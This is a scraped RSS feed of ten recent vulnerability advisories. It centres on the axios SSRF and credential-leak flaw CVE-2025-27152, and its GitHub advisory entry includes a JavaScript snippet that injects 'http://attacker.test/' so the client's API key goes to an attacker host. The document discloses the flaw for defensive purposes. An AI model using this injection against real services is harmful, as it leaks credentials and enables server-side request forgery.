https://cve.radiocsirt.org/rss/recent/all/10 Most recent entries from all 2026-10-03T01:49:02.146698+00:00 Vulnerability-Lookup csirt@opendfir.org python-feedgen Contains only the most 10 recent entries. https://cve.radiocsirt.org/vuln/bdu:2025-02726 bdu:2025-02726 2026-10-03T01:49:02.362424+00:00 bdu:2025-02726 https://cve.radiocsirt.org/vuln/certfr-2025-avi-0279 certfr-2025-avi-0279 — De multiples vulnérabilités ont été découvertes dans les produits IBM. Certaines d'entre elles permettent à un attaquan… 2026-10-03T01:49:02.362480+00:00 certfr-2025-avi-0279 https://cve.radiocsirt.org/vuln/euvd-2026-221356 EUVD-2026-221356 2026-10-03T01:49:02.362500+00:00 EUVD-2026-221356 https://cve.radiocsirt.org/vuln/fkie_cve-2025-27152 fkie_cve-2025-27152 2026-10-03T01:49:02.362512+00:00

axios is a promise based HTTP client for the browser and node.js. The issue occurs when passing absolute URLs rather than protocol-relative URLs to axios. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios. This issue is fixed in 1.8.2.

 https://cve.radiocsirt.org/vuln/ghsa-jr5f-v2jv-69x6 GHSA-jr5f-v2jv-69x6 — axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL 2026-10-03T01:49:02.362548+00:00

Affected: npm: axios

### Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠`baseURL` is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

### Details

Consider the following code snippet:

```js import axios from "axios";

const internalAPIClient = axios.create({ baseURL: "http://example.test/api/v1/users/", headers: { "X-API-KEY": "1234567890", }, });

// const userId = "123"; const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF ```

In this example, the request is sent to `http://attacker.test/` instead of the `baseURL`. As a result, the domain owner of `attacker.test` would receive the `X-API-KEY` included in the request headers.

It is recommended that:

- When `baseURL` is set, passing an absolute URL such as `http://attacker.test/` to `get()` should not ignore `baseURL`. - Before sending the HTTP request (after combining the `baseURL` with the user-provided parameter), axios should verify that the resulting URL still begins with the expected `baseURL`.

### PoC

Follow the steps below to reproduce the issue:

1. Set up two simple HTTP servers:

``` mkdir /tmp/server1 /tmp/s…

 https://cve.radiocsirt.org/vuln/msrc_cve-2025-27152 msrc_CVE-2025-27152 — Possible SSRF and Credential Leakage via Absolute URL in axios Requests 2026-10-03T01:49:02.362616+00:00 msrc_CVE-2025-27152 https://cve.radiocsirt.org/vuln/ncsc-2026-0034 NCSC-2026-0034 — Kwetsbaarheden verholpen in Atlassian producten 2026-10-03T01:49:02.362634+00:00 NCSC-2026-0034 https://cve.radiocsirt.org/vuln/opensuse-su-2025:15307-1 openSUSE-SU-2025:15307-1 — velociraptor-0.7.0.4.git163.87ee3570-1.1 on GA media 2026-10-03T01:49:02.362683+00:00

velociraptor-0.7.0.4.git163.87ee3570-1.1 on GA media

 https://cve.radiocsirt.org/vuln/suse-su-2025:01326-1 SUSE-SU-2025:01326-1 — Security update for pgadmin4 2026-10-03T01:49:02.362701+00:00

Security update for pgadmin4

 https://cve.radiocsirt.org/vuln/ubuntu-cve-2025-27152 UBUNTU-CVE-2025-27152 2026-10-03T01:49:02.362716+00:00

Affected: Ubuntu:Pro:20.04:LTS: node-axios, Ubuntu:Pro:22.04:LTS: node-axios, Ubuntu:Pro:24.04:LTS: node-axios, Ubuntu:25.10: node-axios, Ubuntu:Pro:26.04:LTS: node-axios

axios is a promise based HTTP client for the browser and node.js. The issue occurs when passing absolute URLs rather than protocol-relative URLs to axios. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios. This issue is fixed in 1.8.2.

 https://cve.radiocsirt.org/vuln/wid-sec-w-2025-0580 WID-SEC-W-2025-0580 — IBM License Metric Tool: Mehrere Schwachstellen 2026-10-03T01:49:02.362746+00:00

Ein entfernter anonymer oder lokaler Angreifer kann mehrere Schwachstellen im IBM License Metric Tool ausnutzen, um Daten (Protokolldateien) zu manipulieren, einen Denial-of-Service-Zustand herbeizuführen, vertrauliche Informationen offenzulegen, Sicherheitsmaßnahmen zu umgehen oder SSRF-Angriffe durchzuführen.